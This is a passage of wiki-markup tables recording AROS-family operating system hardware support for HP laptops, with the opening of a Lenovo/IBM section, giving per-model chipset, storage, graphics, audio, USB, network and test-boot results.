| &lt;!--Name--&gt;HP ProBook 250 G6 SL52 LA-E801P - easy cmos battery and external battery || &lt;!--Chipset--&gt;Intel dual core tested '''i5-7200U''' untested i7-7500U to very slow N3060 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes|ahci on M.2 sata or 2.5in sata3 whichever installed with 1 m.2 sata3 permanent and internal dvdrw}} || &lt;!--Gfx--&gt;{{yes|IG: 480p to 1080p 2D for Intel Intel HD Graphics 620 kabylake or AMD Radeon 520}} || &lt;!--Audio--&gt;{{yes|HDAudio 0x8086, 0xa170 or 0x8086, 0x9dc8 with ALC3227 aka ALC282 codec 0x10EC, x0282}} || &lt;!--USB--&gt;{{yes|intel sunrise point-lp USB3.0 xHCI}} || &lt;!--Ethernet--&gt;{{yes|rtl8169 Realtek RTL8111}} || &lt;!--Wireless--&gt;{{No|RTL8821CE or Intel wifi}} || &lt;!--Test Distro--&gt;Deadwoods' latest usb3 D03 test iso with noacpi || &lt;!--Comments--&gt;2017 64bit 768p or 1080p - 19.5V 65W - 2 DDR4 sodimm slots max 16Gb - keyboard swap problematic - synaptics touchpad - poor hinges and build quality - 
|-
| &lt;!--Name--&gt;HP Pavilion 14-BS, HP 15-BS LA-E802P cmos battery and external battery || &lt;!--Chipset--&gt;Intel i3-7200U to slow Celeron  || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata 2.5in (possibly requires the drive cable and M.2 sata3, most have no cdrw dvdrw}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2d for Intel}} || &lt;!--Audio--&gt;{{No|HDAudio 0x8086, 0x9d70 with ALC codec 0x10EC, x0}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|Realtek rtl8169}} || &lt;!--Wireless--&gt;{{No|RTL8188CTV, RTL8821CE or Intel Dual Band Wireless-AC 3168}} || &lt;!--Test Distro--&gt;Deadwoods' latest usb3 test iso || &lt;!--Comments--&gt;2017 64bit 768p all - 19.5V 65W - DDR4 slot max 8Gb - keyboard swap problematic - synaptics touchpad - 
|-
| &lt;!--Name--&gt;HP 14-bw022na - cmos coin battery and external battery || &lt;!--Chipset--&gt;AMD very slow A6-9120 APU || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;m.2 sata || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for R3}} || &lt;!--Audio--&gt;{{no|HDAudio VOID with conexant CX7501 codec}} || &lt;!--USB--&gt;{{maybe|USB3 not working but port on the right works}} || &lt;!--Ethernet--&gt;{{yes|Realtek GbE}} || &lt;!--Wireless--&gt;{{No|Realtek}} || &lt;!--Test Distro--&gt;Deadwoods' latest usb3 test iso with noacpi || &lt;!--Comments--&gt;2017 64bit 768p to 900p - keyboard swap problematic - 
|-
| &lt;!--Name--&gt;HP Probook 455 G4, Probook 455 G5, cmos battery on underside of mb take off back cover and below wifi card || &lt;!--Chipset--&gt;AMD very slow A10-9600P APU, A9-9410, A6-9210 APU || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;{{Maybe|VESA Radeon R4, R5 or R6}} || &lt;!--Audio--&gt;{{No|HDAudio with codec }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|realtek 1GbE}} || &lt;!--Wireless--&gt;{{no|realtek or intel Wireless-AC 7265}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2017 64bit 15.6in 768p - 2 ddr4 sodimm slots - keyboard swap problematic - rr03xl battery - 
|-
| &lt;!--Name--&gt;HP ProBook 255 G6 (), easy cmos and external battery || &lt;!--Chipset--&gt;AMD very slow E2-9000e, A9-9420, 9220P, A4-9125 (all 2c) AMD A6-9225 AMD A9-9425  || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata 2.5in (possibly requires the drive cable and M.2 sata3 and internal cdrw dvdrw}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2d for R2 R3 R4}} || &lt;!--Audio--&gt;{{No|HDAudio 0x1022, 0x157a or 0x1002, 0x15b3 with ALC codec 0x10EC, x0}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|Realtek rtl8169}} || &lt;!--Wireless--&gt;{{No|RTL8188CTV, RTL8821CE or Intel Dual Band Wireless-AC 3168}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2017 64bit 768p all - 19.5V 65W - DDR4 slot max 8Gb - keyboard swap problematic - synaptics touchpad - 
|-
| &lt;!--Name--&gt;HP ProBook 255 G7 (la-g078p) - no cmos battery so needs internal battery || &lt;!--Chipset--&gt;AMD very slow E2-9000e, A9-9420, 9220P, A4-9125 (all 2c) AMD A6-9225 AMD A9-9425 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata 2.5in (possibly requires the drive cable and M.2 sata3, most have no internal cdrw dvdrw}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2d for R2 R3 R4}} || &lt;!--Audio--&gt;{{No|HDAudio 0x1022, 0x157a or 0x1002, 0x15b3 with ALC codec 0x10EC, x0}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|Realtek rtl8169}} || &lt;!--Wireless--&gt;{{No|RTL8188CTV, RTL8821CE or Intel Dual Band Wireless-AC 3168}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2017 64bit 768p all - 19.5V 65W - DDR4 slot max 8Gb - keyboard swap problematic - synaptics touchpad - 
|-
| &lt;!--Name--&gt;ProBook 245 g8 - no cmos rtc coin battery but uses internal battery || &lt;!--Chipset--&gt;AMD very slow A6-9225, A4-9125, A6-8350B, A4-5350B APU || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;m.2 sata || &lt;!--Gfx--&gt;{{Maybe|VESA R4 R6}} || &lt;!--Audio--&gt;{{no|HDAudio}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|Realtek GbE}} || &lt;!--Wireless--&gt;{{No|Realtek}} || &lt;!--Test Distro--&gt;Deadwoods' latest usb3 test iso || &lt;!--Comments--&gt;2017 64bit 768p - many later variants - keyboard swap problematic - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Probook 255 G7 84AE 7DE72EA 7DE73EA (epv51 la-g076p) - CMOS Error (502) replace main internal battery HT03XL to have bios remember settings || &lt;!--Chipset--&gt;Ryzen 3 2200U 2300U (2c4t), R5 2500U, R7 2700U (4c8t) Raven Ridge || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{no|M.2 (Sata or NVMe) and very optional 2.5in sata, most have mini sata port}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2d 640p to 768p for AMD Vega 3, 6, or 8}} || &lt;!--Audio--&gt;{{unk|HDAudio 0x1022, 0x15e3 with ALC236 0x10ec, 0x0236 codec}} || &lt;!--USB--&gt;{{maybe|USB3 }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no|Realtek RTL8821CE, 8822BE or Intel AC 8265}} || &lt;!--Test Distro--&gt;AROS x64 deadwoods' iso does not boot with cd/dvd and installed to 2.5in ssd, boots to grub choice, select but no further and reboots || &lt;!--Comments--&gt;2017 64bit - 12.5 to 15.6in 768p mostly to 1080p - 1 on smaller laptops or 2 ddr4 2400mhz sodimm slots on larger laptops max 16Gb - hp 4.5mm blue tip charging - keyboard swap problematic - esc boot options f9 boot order f10 bios - synaptics touchpad - 
|-
| &lt;!--Name--&gt;HP EliteBook 725 G5, 735 G5, 745 G5, 755 G5, Probook 455 G6, ProBook 645 G6 || &lt;!--Chipset--&gt;Ryzen 3 2200U 2300U (2c4t), R5 2500U, R7 2700U (4c8t) Raven Ridge || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{no|M.2 (Sata or NVMe) and very optional 2.5in sata, some have mini sata port but no cdrw dvdrw}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2d 640p to 768p for AMD Vega 3, 6, or 8}} || &lt;!--Audio--&gt;{{No|HDAudio 0x1022, 0x15e3 with ALC 0x10ec, 0x0 codec}} || &lt;!--USB--&gt;{{maybe|USB3 }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no|Realtek RTL8821CE, 8822BE or Intel AC 8265}} || &lt;!--Test Distro--&gt;Deadwoods' latest usb3 test iso does not boot software error || &lt;!--Comments--&gt;2017 64bit - 12.5 to 15.6in 768p mostly to 1080p - 1 on smaller laptops or 2 ddr4 2400mhz sodimm slots on larger laptops max 16Gb - hp 4.5mm blue tip charging - keyboard swap problematic - esc boot options f9 boot order f10 bios - synaptics touchpad - 
|-
| &lt;!--Name--&gt;HP 14-cm, 15-bw0, HP 15-db0043na, HP 15-db0996na, HP 15-db0997na, 17-ca0007na, 17-ca1, ProBook 645 G4 - no cmos battery || &lt;!--Chipset--&gt;Ryzen 2200U (2c 4t) 2500U (4c 8t) with AMD Carrizo FCH 51 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{no|1 M.2 and 1 2.5in on some larger models and hdd port }} || &lt;!--Gfx--&gt;{{Maybe|VESA Radeon R5 and later Vega 3 or 7}} || &lt;!--Audio--&gt;{{No|HDaudio 0x1002, 0x103c or 0x1022, 0x157a with Realtek ALC3227 0x10ec, 0x0282 but ATI HDMI}} || &lt;!--USB--&gt;{{Maybe|USB3 USB boot drive stuck on kitty's eyes}} || &lt;!--Ethernet--&gt;rtl8169 RTL8111E || &lt;!--Wireless--&gt;{{No|RTL 8723DE 8821 bios locked}} || &lt;!--Test Distro--&gt;2020 Icaros 2.3 USB, Deadwoods' latest usb3 test iso does not boot software error || &lt;!--Comments--&gt;2018 64bit 2kg - screen is dim 14in, 15.6in or 17.3&quot; 768p or 1080p - 65W 19.5V ac adapter - internal 3-cell 41 Wh Li-ion battery does not last long - 2 ddr4 sodimm slots - no DVD-Writer - keyboard swap problematic - 
|-
| &lt;!--Name--&gt;HP ProBook 250 G7, 250 G8 - no cmos battery so needs internal battery and needs usb3 boot due to garbage bios boot options || &lt;!--Chipset--&gt;Intel 8235U 8265U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|M.2 nvme not working, optional sata 2.5in requires LS-G072P and ribbon cable, if internal cdrw dvdrw partial boot}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Intel Whiskey Lake-U 620 GT2 UHD}} || &lt;!--Audio--&gt;{{No|HDAudio 0x8086, 0xa170 or 0x8086, 0x9dc8 with ALC236 codec 0x10EC, x0236}} || &lt;!--USB--&gt;{{maybe|Cannon Point-LP USB3.1 xHCI}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek RTL8111}} || &lt;!--Wireless--&gt;{{No|RTL8821CE or Intel Dual Band Wireless-AC 3168}} || &lt;!--Test Distro--&gt;Deadwoods' latest usb3 test 2026.09.D01 iso works but does not boot stuck on kittys eyes if burnt to dvdr || &lt;!--Comments--&gt;2018 64bit 1080p all - 19.5V 65W - DDR4 slot max 16Gb - keyboard swap problematic - synaptics touchpad - f9 boot order f10 uefi - 
|-
| &lt;!--Name--&gt;HP 255 G7 7DC73EA 2D200EA 87CE (fpp55 la-g07jp), - CMOS Error (502) replace 41.04Wh ht03xl hto3xl dynapack suzhou main battery to have bios remember settings || &lt;!--Chipset--&gt;'''tested''' R5 3500U (4c8t) '''untested''' mostly dual cores - AMD Athlon Gold 3150U (2c2t), Silver 3050U APU (2c2t), Ryzen 3 Pro 3145U APU, 3200U (2c4t) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{no|1 m.2 NVMe or sata3 up to 2280, optional 2.5in sata, many have mini-sata slimline 6+7 internal port but no physical 9mm drive}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D from 640p to 1080p for AMD Vega 3, 6 or 8 with up to 2gb ram taken}} || &lt;!--Audio--&gt;{{unk|HDAudio 0x1022, 0x15e3 with realtek ALC236 codec 0x10ec, 0x0236}} || &lt;!--USB--&gt;{{maybe|USB3 but no usb-c}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek GbE RTL8111HSH}} || &lt;!--Wireless--&gt;{{No|Realtek 8822BE}} || &lt;!--Test Distro--&gt;2025 Aros One 32bit and 64bit usb works sometimes but burnt dvdr iso does not fully boot (stuck on kitty's eyes) || &lt;!--Comments--&gt;2018 64bit - 14in / 15.6in dim tn panel 768p or 1080p - 2 ddr4 sodimm slots max 16gb - hp 19.5V 45W 65W AC blue tip round 4.5 mm - keyboard swap problematic - synaptics touchpad - caps lock blinking 3 times then 2 quick pulses means ram or bios issue - f9 boot order f10 uefi - laptop needs usb3 to boot 
|-
| &lt;!--Name--&gt;HP ProBook 450 G5 needs main battery for bios settings saved || &lt;!--Chipset--&gt;Intel i7-8550U, i5-8250U, i3-8130U, i7-7500U, i5-7200U, i3-7100U, i3-7020, i3-6006U all sse4.1 and avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe| }} || &lt;!--Gfx--&gt;{{maybe|VESA 2D for Intel UHD}} || &lt;!--Audio--&gt;{{unk|HDAudio  with codec }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 rtl8111HSH}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt;Deadwoods' latest usb3 test iso with noacpi || &lt;!--Comments--&gt;2018 64bit - 15.6 inch 768p or 1080p - HP ac psu, 1 ddr4 sodimm slot - 
|-
| &lt;!--Name--&gt;[https://support.hp.com/gb-en/document/c06955717 ProBook 245 g8], Probook 445R G6, 455R G6, HP14-dk0599sa, pavilion 15-cw1511na 15-cw1507sa, HP 15s-eq1516sa no cmos battery || &lt;!--Chipset--&gt;AMD Athlon Gold 3150U (2c2t), Silver 3050U APU (2c2t), Ryzen 3 Pro 3145U APU, 3200U (2c4t) and 3500U (4c8t) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{no|1 m.2 (NVMe or sata3 up to 2280), optional 2.5in sata but resets}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D from 640p to 1080p for AMD Vega 3, 6 or 8 with up to 2gb ram taken}} || &lt;!--Audio--&gt;{{unk|HDAudio 0x1022, 0x15e3 with realtek ALC codec 0x10ec, 0x0}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek GbE RTL8111HSH}} || &lt;!--Wireless--&gt;{{No|Realtek 8822BE}} || &lt;!--Test Distro--&gt;Aros || &lt;!--Comments--&gt;2018 64bit - 14in / 15.6in dim tn panel 768p or 1080p - 2 ddr4 sodimm slots max 16gb - hp 19.5V 45W 65W AC blue tip round 4.5 mm - keyboard swap problematic - synaptics touchpad - f9 boot order f10 uefi 
|-
| &lt;!--Name--&gt;HP ProBook 450 G6 needs main battery for bios settings saved || &lt;!--Chipset--&gt;Intel i7-8565U, i5-8265U, i3-8165U all sse4.1 and avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe| }} || &lt;!--Gfx--&gt;{{maybe|VESA 2D for Intel UHD 620}} || &lt;!--Audio--&gt;{{unk|HDAudio  with Realtek ALC3246 aka ALC295 codec }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 rtl8111HSH}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2019 64bit - 15.6 inch 768p or 1080p - 45W 19.5V HP ac psu - 2 ddr4 sodimm slots - 
|-
| &lt;!--Name--&gt;Elitebook 735 G6 5VA23AV, Elitebook 745 G6, 255 g8, HP 15s-dy - no cmos battery || &lt;!--Chipset--&gt;AMD® Ryzen™ 5-3500U Ryzen 3-3300U AMD Ryzen 3-3250U AMD Athlon® Gold 3150U AMD Athlon Silver 3050U AMD 3020e || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{no|m.2 2280 nvme in legacy - hp sure start and secure boot disabled but still issues with gpt installs - LS-H323P LS-K201P}} || &lt;!--Gfx--&gt;{{Maybe|VESA for Vega 8, 5 or 3}} || &lt;!--Audio--&gt;{{No|HDAudio 6.34 ahi with realtek ALC codec 0x10EC, 0x0295}} || &lt;!--USB--&gt;{{maybe|USB3 type-A port boots stick partially to kitty eyes}} || &lt;!--Ethernet--&gt;{{Maybe|rtl8169 realtek RTL8111E or 8111H}} || &lt;!--Wireless--&gt;{{No|realtek or intel}} || &lt;!--Test Distro--&gt;2020 Icaros 2.3 onto USB and AROS One 1.8 USB, Deadwoods' latest usb3 test iso with noacpi || &lt;!--Comments--&gt;2019 64bit - 15.6in 1366x768 to 1920x1080 - 2 3200MHz DDR4 sodimms - 19.5V 2.31A or 20V 2.25 45W 4.5X3.0MM hp - esc bios setup, f9 boot device select - low travel keyboard - poor hw03xl or  battery life - plastic hooked base with retained screws - touchpad? - 
|-
| &lt;!--Name--&gt;HP ProBook 445 G7, 455 G7 || &lt;!--Chipset--&gt;Ryzen 3 4300U 5 4500U 4700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 sata and 1 nvme || &lt;!--Gfx--&gt;{{Maybe|VESA Vega 3}} || &lt;!--Audio--&gt;{{unk|HDAudio with realtek alc236 codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|realtek rtl8111ep}} || &lt;!--Wireless--&gt;{{No|realtek RTL8822CE or intel AC 9260 or Wi-Fi 6 AX200}} || &lt;!--Test Distro--&gt;Deadwoods' latest usb3 test iso || &lt;!--Comments--&gt;2020 64bit - 14 inch 768p or 1080p - 2 ddr4 sodimm slots - smart 45w 65w hp or usb-c charging - keyboard swap problematic - RE03XL battery - 
|-
| &lt;!--Name--&gt;HP ProBook 450 G7 || &lt;!--Chipset--&gt;Intel  || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe| }} || &lt;!--Gfx--&gt;{{maybe|VESA 2D for Intel UHD}} || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 rtl8111EP}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt;Deadwoods' latest usb3 test iso with noacpi || &lt;!--Comments--&gt;2020 15.6 inch 768p or 1080p - 1 ddr4 sodimm slot - 
|-
| &lt;!--Name--&gt;HP EliteBook 745 G7, 845 G7, HP 15-EH0006NA || &lt;!--Chipset--&gt;AMD Ryzen 3 4300U, 5 4500U, PRO 4650U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;SSD M.2 || &lt;!--Gfx--&gt;{{Maybe|VESA AMD Radeon Vega 8}} || &lt;!--Audio--&gt;{{unk|Hdaudio  with codec 0x10EC, 0x0257}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 64bit - 15.6in 1080p - 1 ddr4 sodimm slot - Bang &amp; Olufsen speakers - keyboard swap problematic - 
|-
| &lt;!--Name--&gt;HP ProBook 255 G8, HP 245 G9, ProBook 255 G9 816C2EA#ABE, - no cmos battery only internal battery || &lt;!--Chipset--&gt;AMD RYZEN 3 5300u, 5425U, 5 5500U 5625U, 7 5700u || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{no|NVMe}} || &lt;!--Gfx--&gt;{{Maybe|VESA AMD Vega 6 or 8 hdmi 1.4B}} || &lt;!--Audio--&gt;{{unk|HDAudio}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek RTL8111HSH-CG GbE}} || &lt;!--Wireless--&gt;{{No|Realtek RTL8822CE or Intel}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit - 14&quot; to 15.6in 768p to 1080p poor gamut - 45 or 65w hp psu - 2 ddr4 sodimm slots max 16GB - keyboard swap problematic - 
|-
| &lt;!--Name--&gt;HP ProBook 450 G9 || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe| }} || &lt;!--Gfx--&gt;{{maybe|VESA 2D for Intel Iris Xe}} || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 rtl8111H}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 15.6 inch - 1 ddr4 sodimm slot - 
|-
| &lt;!--Name--&gt;HP EliteBook 645 g7, 835 G8, 845 g8, HP ENVY x360 13 15, HP 17-cp0021na || &lt;!--Chipset--&gt;AMD Ryzen 5 5650U, 7 5800U, R7 Pro 5850U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;NVMe || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD Radeon}} || &lt;!--Audio--&gt;{{unk|HDAudio 0x, 0x with ALC3247 aka ALC236 codec 0x10ec, 0x0236}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{Maybe|Realtek 1Gbe on 645 only}} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit - 13.3&quot; or 14&quot; 1080p - poor screens low nits and srgb score - 845 gets hot ue to poor cooling - slim round hp ac - keyboard swap problematic - 
|-
| &lt;!--Name--&gt;HP Dev One, HP ProBook 455 G8 || &lt;!--Chipset--&gt;AMD Ryzen 7 5800U, R7 5850U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }} || &lt;!--Gfx--&gt;{{Maybe|VESA }} || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit 15.6&quot; 1080p - 2 internal sodimm slots - hp barrel charging - 
|-
| &lt;!--Name--&gt;Elitebook 655 g9 669y1ut#aba,  || &lt;!--Chipset--&gt;AMD Ryzen 5 PRO 5675U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }} || &lt;!--Gfx--&gt;{{Maybe|VESA }} || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit 15.6&quot; 1080p - 1 or 2 internal sodimm slots - usb-c charging - 
|-
| &lt;!--Name--&gt;HP probook 635 Aero G8 || &lt;!--Chipset--&gt;AMD Ryzen 5 5600U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;VESA 2D || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2921 64bit - 14in 1080p - 2 ddr4 slots - ec chip nuvoton NPCX797HA1B - bios winbond 250256JYEN - 
|-
| &lt;!--Name--&gt;HP PROBOOK X360 435 G8 cmos battery || &lt;!--Chipset--&gt;RYZEN 5 5600U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe| }} || &lt;!--Gfx--&gt;{{maybe|Vesa 2D }} || &lt;!--Audio--&gt;{{maybe|HDaudio with ALC236 codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no|RTL8822CE or Intel AX200}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2021 64bit - hp round ac plug - 
|-
| &lt;!--Name--&gt;HP Elitebook 845 g9 || &lt;!--Chipset--&gt;AMD 6000 series 6850u || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;M.2 NVMe || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Vega 8}} || &lt;!--Audio--&gt;{{unk|HDaudio with codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no| }}Qualcomm Atheros || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2022 64bit aluminum case - 14in 1080p to 2140p 16:10 poor screen again - 2 internal ddr5 sodimm slots - usb-c ac charging avoid any knocks - keyboard swap problematic - 
|-
| &lt;!--Name--&gt;HP ProBook 445 G10, 455 G10 || &lt;!--Chipset--&gt;AMD Ryzen 5 7530U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;VESA 2D for AMD Vega 7 || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit - 15.6in - hp round ac - 
|-
| &lt;!--Name--&gt;Hp 455 G11 || &lt;!--Chipset--&gt;AMD Ryzen 3 7335U (4c8t), 5 7535U (6c12t), 7 7735U (8c16t) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;VESA 2D for AMD Vega 7 || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 RTL8111HSH}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2023 64bit - 35.6 cm (14.0 in) 1920x1200 or 2560x1600 - usb-c 45w or 65w ac - 2 ddr5 sodimm slots max 32gb - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|}


====IBM/Lenovo====

[[#top|...to the top]]

Build quality (Lowest to highest) 

&lt;pre &gt;
iSeries
Edge 
Ideapad
Thinkpad - good cases and construction but electronic internals same as anyone else 
&lt;/pre &gt;

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;Thinkpad 390X 390E (2626) || &lt;!--Chipset--&gt;Neo Magic MM2200 with C400 P2-266 to P3 500MHz || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;use VESA || &lt;!--Audio--&gt;{{No|256AV or ESS Solo-1}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{N/A}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;1998 32bit 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
